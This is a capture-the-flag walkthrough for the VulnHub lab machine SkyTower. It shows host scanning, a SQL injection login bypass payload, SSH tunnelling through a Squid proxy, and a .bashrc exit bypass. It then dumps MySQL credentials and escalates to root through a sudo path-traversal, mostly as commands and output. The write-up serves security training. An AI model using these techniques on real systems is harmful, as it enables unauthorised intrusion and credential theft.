

# SkyTower: 1

SkyTower is a boot to root virtual machine which is on [vulnhub](https://vulnhub.com).

## Description:

This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the "flag".

## Identify IP Address of the machine:

```
root@PREDATOR:~/vulnhub/skytower# netdiscover -i vboxnet0 -r 10.0.0.1/24
```

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 2 hosts. Total size: 168

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.0.2	08:00:27:1e:39:40	1	42	PCS Systemtechnik GmbH
10.0.0.5	08:00:27:15:4f:ce	3	126	PCS Systemtechnik GmbH

## Nmap:

```
root@PREDATOR:~/vulnhub/skytower# nmap -A -T4 -p- -oN nmap 10.0.0.5
```

Nmap scan report for 10.0.0.5

Host is up (0.00035s latency).

Not shown: 65532 closed ports

PORT	STATE	SERVICE	VERSION
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22/tcp	filtered	ssh	
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80/tcp	open	http	Apache httpd 2.2.22 ((Debian))
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\_http-server-header: Apache/2.2.22 (Debian)

\_http-title: Site doesn't have a title (text/html).

3128/tcp	open	http-proxy	Squid http proxy 3.1.20
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\_http-server-header: squid/3.1.20

\_http-title: ERROR: The requested URL could not be retrieved

MAC Address: 08:00:27:15:4F:CE (Oracle VirtualBox virtual NIC)

Device type: general purpose

Running: Linux 3.X

OS CPE: cpe:/o:linux:linux\_kernel:3

OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16

Network Distance: 1 hop

TRACEROUTE

HOP RTT ADDRESS

1 0.35 ms 10.0.0.5

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
# Nmap done at Fri Oct 4 12:19:15 2019 -- 1 IP address (1 host up) scanned in 35.54 seconds

## Enumeration:

Enumerating port 80 we see a login page. On directory bruteforcing we did not find anything usefull other than login.php which we cannot read so we need to get authenticated. First thing in my mind was sql injection so lets try that.

[https://www.owasp.org/index.php/Testing\\_for\\_SQL\\_Injection\\_\(OTG-INPVAL-005\)](https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005))

It looks like certain characters are filtered.

So ' or 1=1-- dont work

so our final payload is

```
' || 1=1#
```

and we are logged in

you must login to the SkyTech server via SSH to access the account details.

Username: **john**

Password: **hereisjohn**

From nmap we know that port 22 is filtered so we cannot ssh directly but we do have **3128/tcp open** http-proxy Squid http proxy 3.1.20

So lets proxy tunneling

```
root@PREDATOR:~/vulnhub/skytower# proxytunnel -p 10.0.0.5:3128 -d 127.0.0.1:22 -a 4455
```

so now our proxy is set lets try ssh

```
root@PREDATOR:~/vulnhub/skytower# ssh john@127.0.0.1 -p 4455
```

```
john@127.0.0.1's password:
```

```
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
```

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Last login: Fri Jun 20 07:41:08 2014

Funds have been withdrawn  
Connection to 127.0.0.1 closed.

when we try to connect to ssh our connection gets dropped  
so lets bypass this with

```
root@PREDATOR:~/vulnhub/skytower# ssh john@127.0.0.1 -p 4455 "/bin/bash"
```

```
john@127.0.0.1's password:
```

```
id
```

```
uid=1000(john) gid=1000(john) groups=1000(john)
```

```
rm .bashrc
```

```
exit
```

```
root@PREDATOR:~/vulnhub/skytower# ssh john@127.0.0.1 -p 4455
```

```
john@127.0.0.1's password:
```

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Last login: Fri Oct 4 02:52:40 2019 from localhost

```
john@SkyTower:~$
```

we deleted the .bashrc file because on the last line of .bashrc we see exit function  
which drops our connection after printing the message fund transfered.

We saw login.php file during directory bruteforcing so lets see whats in it.

```
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
```

We got mysql credentials, lets dig in deeper into mysql.

```
john@SkyTower:/var/www$ mysql -uroot -proot
```

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| SkyTech |
| mysql |
| performance_schema |
+-----+
4 rows in set (0.00 sec)

mysql> use SkyTech
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_SkyTech |
+-----+
| login |
+-----+
1 row in set (0.00 sec)

mysql> select * from login
-> ;
+---+-----+-----+
| id | email | password |
+---+-----+-----+
| 1 | john@skytech.com | hereisjohn |
| 2 | sara@skytech.com | ihatethisjob |
| 3 | william@skytech.com | senseable |
+---+-----+-----+
3 rows in set (0.00 sec)
```

We got credentials of other users.

We cannot log in to user william using the password given but we can ssh sara using the credentials.

When we ssh sara we have to bypass the exit function once again so lets do the same thing and we get sara user

```
root@PREDATOR:~/vulnhub/skytower# ssh sara@127.0.0.1 -p 4455 /bin/bash
sara@127.0.0.1's password:
id
uid=1001(sara) gid=1001(sara) groups=1001(sara)
rm .bashrc
exit
```

```
root@PREDATOR:~/vulnhub/skytower# ssh sara@127.0.0.1 -p 4455
sara@127.0.0.1's password:
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```

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```
sara@SkyTower:~$ sudo -l
```

Matching Defaults entries for sara on this host:

```
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
```

User sara may run the following commands on this host:

```
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
```

```
sara@SkyTower:~$
```

so we can run `cat accounts*` and `ls accounts*` as sudo

```
sara@SkyTower:~$ sudo /bin/ls /accounts/../../../../root/
flag.txt
sara@SkyTower:~$ sudo /bin/cat /accounts/../../../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
sara@SkyTower:~$
```

so now we have root password

```
root@PREDATOR:~/vulnhub/skytower# ssh root@127.0.0.1 -p 4455
root@127.0.0.1's password:
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```
root@SkyTower:~# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
root@SkyTower:~# cat flag.txt
```

Congratz, have a cold one to celebrate!

root password is theskytower

BOOM!!!!!!